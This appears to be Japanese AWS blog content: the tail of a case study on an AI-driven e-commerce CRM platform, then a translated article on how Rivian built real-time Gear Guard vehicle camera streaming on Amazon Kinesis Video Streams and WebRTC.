従来のCRMの枠を超えた、真にインテリジェントなCRMを実現したいと考えました。そのため、データの統合と活用、コスト最適化、そして施策の自動化という点に重点を置きました。また、セキュリティ面では顧客データの取り扱いに特に慎重な取引先も多く、東京リージョンに閉じた環境を構築できる点が決め手でした。” 開発の体制とプロセスについて DMAの開発責任者岡本氏および福田氏は、開発体制とプロセスについて、以下のように述べています。 ”外部からAWS開発経験のあるエンジニア2名を採用し、アジャイル開発手法を採用してプロジェクトを推進しました。しかし、Amazon Bedrock AgentCoreという新技術の導入において、十分なリファレンスやベンチマークが存在しない中で、試行錯誤を重ねながら設計・実装を進めました。経験者を見つけることは困難で、一度ゼロから再構築しました。この過程を通じて、新技術開発に適したエンジニアの特性やプロジェクト管理の知見を獲得し、Amazon Bedrock AgentCoreの特性理解やデータレイク構築における既存システムとの統合やAI活用最適化のノウハウを蓄積しました。テスト段階では、機能ベースの○×判定に加え、AIチャットの回答精度を評価するシナリオテストを重視し、自社ECプラットフォームの実データを活用した検証や、顧客との協働による分析結果の妥当性確認を実施することで、実用性の高いソリューション開発を実現しました。” 導入効果と今後の展開 AIオートパイロット型CRMプラットフォーム「リピートMAX」を導入された大手百貨店 EC サイトにおいて、以下の効果が得られています。 リピート購入率が125%向上 離脱予兆顧客のCVRが150%以上改善 CRM運用の工数が大幅に削減され、約1時間まで効率化 顧客は AIによる最適なターゲティングとタイミングの自動化により、従来は見逃していた顧客接点を効果的に活用できるようになったと評価しています。 DMAは、このプロジェクトを通じて得られた知見を基に、以下のような機能拡張を計画しています。 より高度なAI予測モデルの導入 クリエイティブ提案機能の強化 まとめ AIオートパイロット型CRMプラットフォーム「リピートMAX」の事例は、技術革新とビジネスニーズの適切な統合を意識しつつ、いかにバランスを取りながら実践的な価値を生み出せるかが分かる好例です。この取り組みが、EC業界におけるDX推進の重要なベンチマークとなること、今後も機能拡充してより多くのEC事業者のビジネス成長に貢献していくことを期待します。 また、内製化でソフトウェアに生成AIや新技術を組み込む上での課題および解決方法は多くの方に参考になるのではないでしょうか。AWSのサービスを活用した本事例は、クラウドネイティブな開発アプローチの有効性を実証する好例です。AI活用をご検討の企業様は、ぜひAWSまでご相談いただければと思います。

本記事は、2025 年 11 月 25 日に公開された How Rivian and Volkswagen Technology Group Built Real-Time Vehicle Security with Amazon Kinesis Video Streams を翻訳したものです。 このブログ記事では、Rivian と Volkswagen Group Technologies (Rivian) が AWS と提携し、Rivian の Gear Guard 機能強化を通じて車両のセキュリティ向上に役立てた方法をご紹介します。 Amazon Kinesis Video Streams (KVS) を使用することで、Rivian はより洗練されたリアルタイムビデオストリーミングソリューションを構築し、車両所有者が Rivian モバイルアプリケーションから車載カメラのライブ映像をより即座にアクセスできるようになりました。 はじめに Rivian は、R1T ピックアップトラック、R1S SUV、Electric Delivery Vans(EDVs) で知られる先駆的な電気自動車メーカーで、自動車ソリューションを絶えず革新しています。Rivian の中核的な製品の 1 つである Gear Guard は、オーナーが不在の際に車両とその内容物を保護するための包括的な機能群です。当初の Gear Guard は、車載カメラと AI アルゴリズムを使用して、不審な人的活動を検知し、ビデオを記録し、Rivian モバイルアプリでオーナーに通知するものでした。これらのビデオと記録は、車両のローカルに保存されていました。この重要なセキュリティ機能の自然な進化として、車両からリアルタイムのライブビデオストリーミングを Rivian モバイルアプリに直接導入することになりました。これにより、オーナーは検知された事象中に即座に視覚的にアクセスできるようになりました。 図1 Rivian Gear Guard キャラクター ライブ動画ストリーミングのビジネス要件と技術要件 Gear Guard のライブビデオストリーミングを実装するには、重要な機能、パフォーマンス、セキュリティ要件に対応できるより堅牢なソリューションが必要でした。このシステムの主な目的は、車両所有者が認証済みのモバイルデバイスから Gear Guard のセキュリティカメラのライブビデオストリームを遠隔で視聴できるようにすることです。車両所有者は、オンデマンドでこのライブビューを開始したり、車両が駐車中、施錠中、無人の状態でも、Gear Guard のアラームシステムからの通知に応じてライブビューを開始したりできます。 Rivian がこの新しいライブ動画ストリーミングサービスを開発する際の主な機能要件は以下のとおりでした: トラックベッドカメラを含む、車両のカメラからのリモート映像の視聴。 特定のカメラを選択するか、カメラの映像を切り替えて表示するモードを選択できる機能。 アラームやモーション検知時にモバイル通知を生成し、最も関連性の高いカメラストリームを選択するボタンとサムネイルガイダンスを表示。 イベントの同時ライブストリーミングと車内ストレージへの録画。 さまざまな携帯通信会社や Wi-Fi ネットワークプロバイダー、モバイル端末に対応。 Rivian が応答性の高いユーザーエクスペリエンスを実現するために重要だった主なパフォーマンス基準は以下の通りです: アクティベーション時間: リクエストからストリーム表示までの時間は 5 秒未満。 ストリーム遅延: カメラキャプチャからモバイル表示までの時間は 1 秒未満。 カメラ切り替え時間: カメラ選択から表示までの時間は 1 秒未満。 Rivian の主なプライバシーとセキュリティの要件は次のとおりでした: エンドユーザーのプライバシーは、Rivian にとって設計プロセス全体を通して最重要の関心事でした。プライバシーの閾値分析とセキュリティ脅威分析が行われました。たとえば、Gear Guard アプリケーションは、サラウンドビューの校正への干渉や望まれないビデオトリガーを防ぐため、工場モードでは無効になっています。さらに、Rivian はストーカー行為への悪用を防ぐため、1 セッションおよび 1 日あたりの使用制限を設けました。 Amazon Kinesis Video Streams の選定理由 複数のオプションを評価した結果、Rivian は機能、パフォーマンス/スケーリング、セキュリティ/プライバシーの要件をすべて満たしていたため、ビデオストリーミングサービスとして Amazon KVS を選択しました。意思決定プロセスで重要だった Kinesis Video Streams の主な機能は次のとおりです。 複数のストリーミングおよびメッセージングプロトコル (Web リアルタイム通信 (WebRTC)、リアルタイムストリーミングプロトコル (RTSP)、ストリーム伝送制御プロトコル (SCTP)) をサポートします。 堅牢なシグナリングインフラストラクチャ – フルマネージドシグナリング、自動スケーリングとコミュニケーション用のチャネルの動的作成をサポートする STUN および TURN サーバー。 包括的な監視機能 – サーバーの正常性と稼働時間のリアルタイム監視、コスト監視、メトリクスとアラートのための Amazon CloudWatch との統合、パフォーマンス追跡用のカスタムダッシュボード作成機能。 セキュリティ – Rivian のセキュリティモデルと適切に統合される AWS セキュリティとその他ネイティブサービスとの組み込み統合。 拡張性 – オープンな標準 API をサポート (例: V4 signer URL を生成して、有効な署名付き一時 URL を生成し、Rivian の IoT およびモバイルデバイスでベンダーニュートラルな機能を許可)。複数の言語でアルゴリズム、クライアント側の実装、およびリファレンス SDK が利用可能です。 パフォーマンス – Native WebRTC は、サブ秒レイテンシーのストリーミングをサポートし、同時に数百万のストリームをサポートするための自動スケーリングと、最適なパフォーマンスのための地域展開をサポートします。 深い技術的コラボレーション – Amazon Kinesis Video Streams サービスチームとの緊密なパートナーシップにより、SDK 統合と SigV4 デバッグ機能が実現し、開発の加速と複雑な実装課題の解決が可能になりました。 システムアーキテクチャ Gear Guard のライブカメラアーキテクチャは、WebRTC を中心に構築されています。WebRTC は低レイテンシーを実現し、双方向のオーディオ/ビデオをサポートしているため、将来的にクライアントから車両への音声インタラクションを可能にする助けとなります。 図2 Gear Guard のテクニカルアーキテクチャ ストリーミングシーケンスを開始 1 認証済みでペアリングされたモバイルアプリケーションのインスタンスがリモートトリガーを開始します。このリモートトリガーはモバイルゲートウェイを経由してクラウド上のリモートコマンドプロセッサに渡され、車両に送信されます。 2 モバイルと車両はそれぞれ、クラウドサービスから署名付きシグナリングサーバーの URL と TURN サーバーの詳細を要求し、Amazon KVS インフラストラクチャに接続できるようになります。 3 Amazon KVS シグナリングチャネルは、車両とモバイルアプリケーション間のピア間 IP アドレスの対話型検索を含む ICE を容易にし、Amazon KVS WebRTC TURN サーバーを経由した接続にフォールバックします。車両のカメラストリーミングとモバイルビューアーアプリケーションは、SDK ハンドシェイクで開始され、直接または間接的な接続を介して送信されるビデオストリームのパラメータを確立するのに役立ちます。 4 車両は WebRTC SRTP (暗号化) チャネルを介して RTSP ビデオストリームをモバイルに転送します。モバイルは WebRTC データチャネルを介してコマンドを送信し、別の SVS カメラから RTSP ストリームを選択できます。 主要な実装の概要 モバイルと車両間のメトリクスとイベントの交換にデータチャネルを使用する。 WebRTC データチャネルを利用することで、モバイルアプリケーションと車両間の情報のより堅牢な双方向の交換が可能になりました。これには、モバイルアプリケーションから車両へのカメラ切り替え要求などのリモートコマンドの送信が含まれ、ユーザーが異なるカメラビューを選択できるようになりました。逆に、ストリーミングセッションの終了を示すセッション終了要求が車両からモバイルアプリケーションに送信されました。さらに、データチャネルはストリーミング開始までの時間などの重要なメトリクスの送信を容易にし、パフォーマンスの監視と最適化を可能にしました。より効率的で構造化された通信を確保するため、このチャネルを介して送信されるすべてのデータは、プロトコルバッファ (protobuf) を使用してフォーマットされました。 シグナリングサーバーの資格情報を配信するための、車両証明書ベースの認証 Go プログラミング言語ベースのクラウドサービスが、一時的な資格情報を持つ SigV4 署名付き URL、TURN と STUN 接続の詳細を車両とモバイルアプリケーションに認証して提供します。これにより、SDP オファーを開始し、ICE 候補を確立できます。リクエストの順序は関係ありませんが、SDP オファーは 5 秒以内に開始する必要があります。車両はサービスに対して mTLS で認証され、その ID は証明書に埋め込まれています。モバイルアプリケーションのリクエストは oauth2 JWT で認証され、ユーザーが要求された車両にプロビジョニングされているかどうかを確認します。 このサービスは、車両の信号チャネルが存在するかどうかを確認するために、マルチリージョン Amazon DynamoDB テーブルを使用し、その後、車両に新しい Amazon Kinesis Video Streams 信号チャネルを提供するか、既存のものを再利用します。Amazon DynamoDB レコードは、30 日間の有効期限を設定するのに役立ち、リクエストごとに更新されます。 Amazon DynamoDB のレコード有効期限切れイベントが Lambda 関数をトリガーし、30 日間使用されていない場合にシグナリングチャネルを削除するのに役立ちます。これにより、Gear Guard サービスのアクティブユーザーを追跡し、プロビジョニングされたリソースのコストを削減するのに役立ちます。wss エンドポイントは SDP オファーを送信するために使用されます。SigV4 署名付き URL には、ChannelARN、ClientId、有効期限、セキュリティトークンなどが埋め込まれています。このサービスには、STUN サーバーと TURN サーバー (UDP、セキュア UDP、TCP) と資格情報も含まれています。 図3 Gear Guard ライブカメラフィード AWS リージョンベースのシグナリングサーバーと TURN サーバーの割り当て: ピア間接続で TURN サーバーを使用する場合、車両の位置と同じ AWS リージョンにシグナリングと TURN サーバーを割り当てたいと思います。これは、米国西海岸に車両とモバイルアプリケーションがあり、シグナリングチャネルが米国東海岸にプロビジョニングされる可能性を回避するためです。組み合わせは次のとおりです。 図4 Gear Guard の地域展開 最適化された実装では、AWS Elastic Kubernetes Service (Amazon EKS) 上で us-east-1 および us-west-2 の両リージョンにデプロイされているクラウドサービスが、カスタムの地理位置情報サービスを使用して、車両がカンザス州レバノン (39°50′N 98°35′W) の東側か西側のどちらに位置するかを特定するのに役立ちます。AWS と Rivian は、この地点を米国の中心地と特定しています (図 4 の破線で示されています)。このサービスは、車両が存在するリージョンに共存するアプリケーションの Kinesis Video Streams シグナリングチャネルをプロビジョニングするのに役立ちます。上記の例 (図 4) では、モバイルデバイスが東海岸または西海岸のどちらにあるかに関係なく、car-01 は us-west-2 にシグナリングチャネルが設定されます。同様に、car-02 は us-east-1 リージョンに設定されます。 プロダクション環境での学び (1 年間の振り返り) 1 年間の運用を経て、以下の重要な知見が得られました。 レイテンシ: WebRTC の選択は、HTTP Live Streaming (HLS) などの他のストリーミングプロトコルよりも低レイテンシストリーミングを実現するのに効果的でした。 複数の視聴者に対するスケーラビリティ: WebRTC のピア・ツー・ピア方式の主な設計上の課題は、各クライアントが一意の暗号化キーを使用した個別の SRTP/SRTCP ストリームを必要とすることです。つまり、2 番目のクライアントが同じ車両からストリームを要求した場合、新しいストリームを開始する必要があり、単一の車両ストリームを複数のピアで直接共有することが制限されます。現在の設計は、ライブ視聴用の 1 つのピア・ツー・ピア接続に最適化されており、シグナリングチャネルごとに最大 10 人の参加者がサポートされています。 コスト管理: 接続サービスを介したユーザー要求に応じたシグナリングチャネルのプロビジョニングと削除の最適化。これにより、機能を使用していないエンドユーザーにシグナリングチャネルが事前にプロビジョニングされることがなくなります。 課題と解決策: ネットワークインターフェースへのバインディング: AWS SDK for C ++ では、ソケット接続に特定のネットワークインターフェースをバインドすることができませんでしたが、Rivian のストリーミング APN はデフォルトのネットワークインターフェースとは異なるため、これは不可欠でした。しかし、SDK はオープンソースなので、Rivian はネットワークバインディングのパッチを作成し、ストリーミングインターフェースにバインドすることができました。 車両のウェイクアップ時間: スリープ中の車両がモバイルコマンドに応答し、ストリーミングを開始するまでの時間を最適化することが、重要なパフォーマンス要件でした。 機能強化と今後の計画 Rivian は、Gear Guard ライブカメラ機能を進化させ続け、次の機能強化を計画しています: ユーザーインターフェースの次世代アップデートには、接続の異なる段階でのユーザーの可視性の向上や、ストリーミング中の車両ネットワーク状況の可視化が含まれます。 適応ビットレートと ICE 再起動などの最適化により、セッション成功率 (この機能の最も重要な KPI) の向上を含め、成功したセッションを強化します。AWS WebRTC SDK はメディアチャネルの TWCC をサポートしており、これを適応ビットレート実装に使用できます。また、SDK は restartIce() をサポートしており、これを使って接続の切断/ネットワークの切り替え時に再接続する予定です。 結論 Rivian の Amazon Kinesis Video Streams を使用した Gear Guard ライブカメラの実装は、所有者のプライバシーを最優先にしながら (Rivian のインフラストラクチャや AWS クラウドにビデオ録画が保存されない)、車両のセキュリティ強化を支援するより高度なソリューションを示しています。WebRTC の低レイテンシと双方向通信機能、Kinesis Video Streams との密接な統合による堅牢なシグナリングと安全な資格情報管理を戦略的に活用することで、Rivian はパワフルなリアルタイムビデオストリーミング体験を実現しました。 Anirban Kundu Anirban Kundu は、Rivian および Volkswagen Technology Group において、データプラットフォーム部門の IoT およびストリーミングのディレクターを務めています。分散型コンピューティングとビッグデータ処理、特にデータ収集とストリーム処理に情熱を注いでいます。過去にはゲノム解析や三次分析、産業用インターネットなど、世界をより良くするという利他的な目標に向けた取り組みに携わってきました。 Adam Arsenault Adam Arsenault は、Rivian および Volkswagen Technology Group のプリンシパルソフトウェアエンジニアである。Rivian 車両と連携する iOS および Android モバイルアプリケーションのエンドツーエンドアーキテクチャと開発に注力している。25 年以上の経験を持つアダムは、顧客を魅了する階層化され信頼性が高くスケーラブルな分散アプリケーションの構築、およびデータとメトリクスを用いた情報に基づいた意思決定に尽力している。 Aditya Purohit Aditya Purohit は、Rivian および Volkswagen Technology Group のスタッフソフトウェアエンジニアであり、スケーラブルでインテリジェントなコネクテッドカーシステムの開発に注力している。組み込みソフトウェアとデータ処理の深い専門知識を活かし、車載コンピューティングとクラウドベースの知見を連携させ、より豊かでリアルタイムなコネクテッドカー機能を実現する取り組みを行っている。EV 技術とエッジ AI の進化に情熱を注ぐアディティアは、車両の知能性、効率性、プライバシー、安全性を高めるシステムの設計を楽しんでいる。仕事以外では、ハイキングやアウトドア探索、新しいスポーツに挑戦する時間を過ごしている。 Asif Khan Asif Khan は、Amazon Web Services のプリンシパルソリューションアーキテクトとして、自動車業界の企業顧客を支援している。自動車産業向けに革新的でコスト効率が高くスケーラブルなソリューションを設計・構築・提供することに情熱を注いでいる。仕事以外では、若手プロフェッショナルのメンタリングや、プロトタイプ構築を通じて新興技術トレンドを把握することを楽しんでいる。 Ajay Paknikar AWS のプリンシパルカスタマーソリューションマネージャーである Ajay Paknikar は、グローバルな自動車顧客をサポートしています。アジャイは、AWS の優れた機能を活用して成功したビジネス成果を確保し、企業の AWS 導入プロセスを導くことに情熱を注いでいます。クライアント経営陣への戦略的アドバイザーとして、クラウド導入とクラウド成熟度の向上に注力しています。 本記事は Senior Solutions Architect の 長谷川 仁志 が翻訳しました。